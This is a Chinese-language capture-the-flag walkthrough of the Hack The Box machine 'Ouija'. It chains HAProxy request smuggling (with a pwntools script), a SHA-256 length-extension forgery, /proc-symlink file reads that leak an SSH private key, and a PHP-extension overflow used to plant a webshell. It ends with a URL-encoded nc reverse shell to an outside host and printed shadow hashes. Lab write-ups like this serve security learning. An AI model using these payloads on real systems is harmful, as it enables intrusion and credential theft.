基本信息
端口扫描 22,80,3000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ nmap -sC -sV 10.10.11.244 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-04 13:30 CST Nmap scan report for 10.10.11.244 Host is up (0.15s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 6f:f2:b4:ed:1a:91:8d:6e:c9:10:51:71:d5:7c:49:bb (ECDSA) |_ 256 df:dd:bc:dc:57:0d:98:af:0f:88:2f:73:33:48:62:e8 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.52 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.08 seconds
80 直接访问是apache默认页面:
3000 直接访问是这个响应:
目录扫描 目录扫描发现80的server-status可以访问,以及3000端口那里一些端点:
1 2 3 4 5 6 7 8 9 10 gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://10.10.11.244/ /server-status (Status: 200) [Size: 17257] gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://10.10.11.244:3000/ --exclude-length 31 /Login (Status: 200) [Size: 42] /login (Status: 200) [Size: 42] /register (Status: 200) [Size: 26] /users (Status: 200) [Size: 25]
server-status 可以看到一些请求记录,并且其中可以得到域名 ouija.htb:
users 直接访问提示缺少ihash header,测试添加后提示缺少identification header,添加identification后是token无效:
register 注册被禁用:
login 需要账号密码:
子域名扫描 根据前面得到的域名,添加hosts后扫描子域名:
看起来是任意dev*
的结果都是403,但响应时间有差异,过滤掉小于100毫秒的结果(自己根据实际情况调整)才是真的可用结果:
1 2 3 4 ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://ouija.htb/" -H 'Host: FUZZ.ouija.htb' -fs 0,10671 -ft '<100' [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 255ms] * FUZZ: dev
ouija.htb 基于web的管理系统:
并且根据记录,主站会尝试加载gitea那里的tracking.js,所以还存在一个gitea子域名:
dev.ouija.htb 被管理员规则禁止:
gitea.ouija.htb gitea可以直接访问,探索里可以公开访问ouija-htb repo:
HA-Proxy gitea repo中提到HA-Proxy版本2.2.16:
可以搜到存在请求走私:
请求走私 根据参考资料中的poc,尝试通过请求走私访问dev子域成功,注意需要关掉burp的自动内容长度更新,然后自己根据实际请求手动指定Content-Length:
根据结果可以看到通过editor.php去加载两个文件的请求,同样利用请求走私来进行请求:
init.sh 看起来是初始化api config的,应该是前面看到的3000端口那边的:
1 2 3 4 5 6 7 8 9 10 11 # !/bin/bash echo "$(date) api config starts" >> mkdir -p .config/bin .config/local .config/share /var/log/zapi export k=$(cat /opt/auth/api.key) export botauth_id="bot1:bot" export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1" ln -s /proc .config/bin/process_informations echo "$(date) api config done" >> /var/log/zapi/api.log exit 1
app.js 根据代码,需要identification通过校验后才能使用管理员功能例如/file/get:
它以 base64 + 十六进制解码identification header,将其附加到key并获取 sha256 哈希值,如果它与通过 ihash header传递的哈希相匹配,则它可以工作
而key是从 .env 文件中获取的的, const key = process.env.k
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 var express = require ('express' );var app = express();var crt = require ('crypto' );var b85 = require ('base85' );var fs = require ('fs' );const key = process.env.k;app.listen(3000 , ()=>{ console .log("listening @ 3000" ); }); function d (b ) { s1=(Buffer.from(b, 'base64' )).toString('utf-8' ); s2=(Buffer.from(s1.toLowerCase(), 'hex' )); return s2; } function generate_cookies (identification ) { var sha256=crt.createHash('sha256' ); wrap = sha256.update(key); wrap = sha256.update(identification); hash=sha256.digest('hex' ); return (hash); } function verify_cookies (identification, rhash ) { if ( ((generate_cookies(d(identification)))) === rhash){ return 0 ; }else {return 1 ;} } function ensure_auth (q, r ) { if (!q.headers['ihash' ]) { r.json("ihash header is missing" ); } else if (!q.headers['identification' ]) { r.json("identification header is missing" ); } if (verify_cookies(q.headers['identification' ], q.headers['ihash' ]) != 0 ) { r.json("Invalid Token" ); } else if (!(d(q.headers['identification' ]).includes("::admin:True" ))) { r.json("Insufficient Privileges" ); } } app.get("/login" , (q,r,n) => { if (!q.query.uname || !q.query.upass){ r.json({"message" :"uname and upass are required" }); }else { if (!q.query.uname || !q.query.upass){ r.json({"message" :"uname && upass are required" }); }else { r.json({"message" :"disabled (under dev)" }); } } }); app.get("/register" , (q,r,n) => {r.json({"message" :"__disabled__" });}); app.get("/users" , (q,r,n) => { ensure_auth(q, r); r.json({"message" :"Database unavailable" }); }); app.get("/file/get" ,(q,r,n) => { ensure_auth(q, r); if (!q.query.file){ r.json({"message" :"?file= i required" }); }else { let file = q.query.file; if (file.startsWith("/" ) || file.includes('..' ) || file.includes("../" )){ r.json({"message" :"Action not allowed" }); }else { fs.readFile(file, 'utf8' , (e,d)=>{ if (e) { r.json({"message" :e}); }else { r.json({"message" :d}); } }); } } }); app.get("/file/upload" , (q,r,n) =>{r.json({"message" :"Disabled for security reasons" });}); app.get("/*" , (q,r,n) => {r.json("200 not found , redirect to ." );});
LFI 然后根据上面的file参数,很容易想到LFI:
后面就是LFI读文件,手工每次更新Content-Length太麻烦了,队友给了脚本(用pwntools来处理发送请求走私所需的请求太妙了)
但并不能直接读到api那里所需的key,因为当前是在dev容器中
lfi.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *import socketimport sysimport reimport gzip if len(sys.argv) < 2 : print("missing file param" ) sys.exit() file = sys.argv[1 ] cl = len("GET http://dev.ouija.htb/editor.php?file=%s HTTP/1.1\r\nh:" % file) payload = """POST / HTTP/1.1\r\nHost: ouija.htb\r\nContent-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\nContent-Length: %s\r\n\r\nGET http://dev.ouija.htb/editor.php?file=%s HTTP/1.1\r\nh:GET / HTTP/1.1\r\nHost: ouija.htb\r\n\r\n""" % (cl, file) r = remote('ouija.htb' , 80 ) r.send(bytes(payload, 'utf-8' )) response = r.recvrepeat(1 ).decode('utf-8' ) output = re.search(r'(?<=\<textarea name="content" id="content" cols="30" rows="10"\>)([\s\S]*?)(?=\</textarea\>)' , response).group() print(output)
哈希长度扩展 所以现有情况,我们知道所需的部分明文,以及目标hash,这种场景,哈希长度扩展攻击:
编译报错的话参考这个修改Makefile:
密钥长度未知,所以指定一个范围:
1 ./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max 64
得到的New string 进行base64编码后作为identification,以及New signature作为ihash尝试请求api,最终得到一组有效的:
1 2 3 4 Type: sha256 Secret length: 23 New signature: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b New string: 626f74313a626f748000000000000000000000000000000000000000000000000000000000000000f83a3a61646d696e3a54727565
得到的响应是正常的,前面app.js里也可以看到写死了这个响应:
LFI 2 然后根据前面app.js中代码,/file/get可以用来读取文件,但存在过滤,不能..
开头
但init.sh里有一行ln -s /proc .config/bin/process_informations
,所以我们可以利用这个软链接通过proc过去来读取其他文件
这时候读取environ可以获取到key了(前面读取不到是因为属于不同的容器),但现在也不需要了:
后面就一点点读文件,passwd获取用户名,然后去读私钥:
1 2 .config/bin/process_informations/self/root/etc/passwd .config/bin/process_informations/self/root/home/leila/.ssh/id_rsa
leila_id_rsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 -----BEGIN OPENSSH PRIVATE KEY----- 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 DvfM2TbsfLo4kAAAALbGVpbGFAb3VpamE= -----END OPENSSH PRIVATE KEY-----
user flag 使用得到的私钥登录:
提权信息 基础枚举发现本地9999端口,查看代码发现say_lverifier没有在php文件中定义,进一步发现自定义的php扩展,下载下来分析,可以发现相关函数在so中
1 2 /development/server-management_system_id_0 /usr/lib/php/20220829/lverifier.so
然后在验证用户输入后调用event_recorder写入日志文件:
整数溢出 这部分是作者给了提示, 首先找到一个整数溢出,这会给你带来缓冲区溢出,然后调试扩展以跟踪执行/并检查堆栈
可以看到username的目标nu缓冲区分配了800,但输入并没有限制,使用size_t类型来保存username的size,这个最大值65535,所以整数溢出应该是这部分
(静态分析就看个大概就行,知道整数溢出后面结合调试就都是基础内容)
debug 本地安装so,调试
1 2 3 4 5 6 7 8 9 sudo cp lverifier.so /usr/lib/php/20220829 sudo chmod +x /usr/lib/php/20220829/lverifier.so sudo nano /etc/php/8.2/mods-available/lverifier.ini # 添加这行到lverifier.ini extention=lverifier.so # 修改php.ini,启用dl enable_dl = On # 安装gef bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
环境配置完成后,进入调试部分,根据调试和静态分析结果知道是会读取shadow文件,验证用户名密码,并且会产生/var/log/lverifier.log文件,写入日志信息:
1 2 3 4 5 6 7 8 sudo gdb php (gdb) run -a php > dl('lverifier.so'); php > var_dump(say_lverifier('aaaa', 'bbbb')); php > $u = str_repeat('A', 4096000); php > $x = say_lverifier($u, 'world'); # crash gef➤ b event_recorder
之后常规的生成数据计算偏移,再次运行,发现我们可以覆盖event_recorder的两个参数:
计算可以知道,控制的event_recorder参数:
1 2 3 4 # 第一个参数,即写入日志路径 username[16:800] # 第二个参数,即写入日志文件的内容 username[128:800]
文件写入 然后根据结果修改输入的username,验证可以在任意路径写入任意文件:
1 2 3 '/'*795+'/test' + padding php > $u = '////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////test'.str_repeat('A', 64738); php > $x = say_lverifier($u, 'world');
webshell 现在就是能控制日志文件路径,并且日志内容也是路径的后面大部分,那如何进一步利用,例如获取webshell呢
也很简单,如果我们创建一个目录名是php代码的目录,然后修改对应的输入并且跳转最终写入php文件到web目录,这样最终写入的日志中也包含我们的目录名即php代码:
1 2 3 4 5 6 7 8 leila@ouija:~$ mkdir "/tmp/miao/<?=\`\$_GET[0]\`?>" leila@ouija:~$ ls /tmp/miao a = '/tmp/miao/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/index.php' > >> len(a) 86 '/'*714 + a + 'A'*64738
最终payload作为用户名发送,验证webshell生成成功:
test.php 调试用的php文件:
1 2 3 4 5 6 7 8 9 <?php $extPath = ini_get("extension_dir" ); print "Extension Dir: " . $extPath . "\n" ;dl('lverifier.so' ); $u = str_repeat('A' , 4096000 ); $x = say_lverifier($u, 'world' ); $y = $x ? 'true' : 'false' ; print ('var x: ' . $y . "\n" );?>
root flag 写入webshell成功后就随意执行命令了:
1 http://127.0.0.1:9999/miao.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.6%204444%20%3E%2Ftmp%2Ff
shadow 1 2 root:$y$j9T$Kg/bsxGg3rtmr7d.HkQ0N/$14XejevAukcx9oDmYsXF967olH7um9buAQ3wSGdOCy8:19677:0:99999:7::: leila:$y$j9T$4G./NwKdILbVGJTvpqros.$Oo7YxsUIGIwiSGpQJdWPCLU1gYw/ECzIbN9wJI/14K5:19534:0:99999:7:::
参考资料
Last updated: 2024-05-20 10:13:21
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会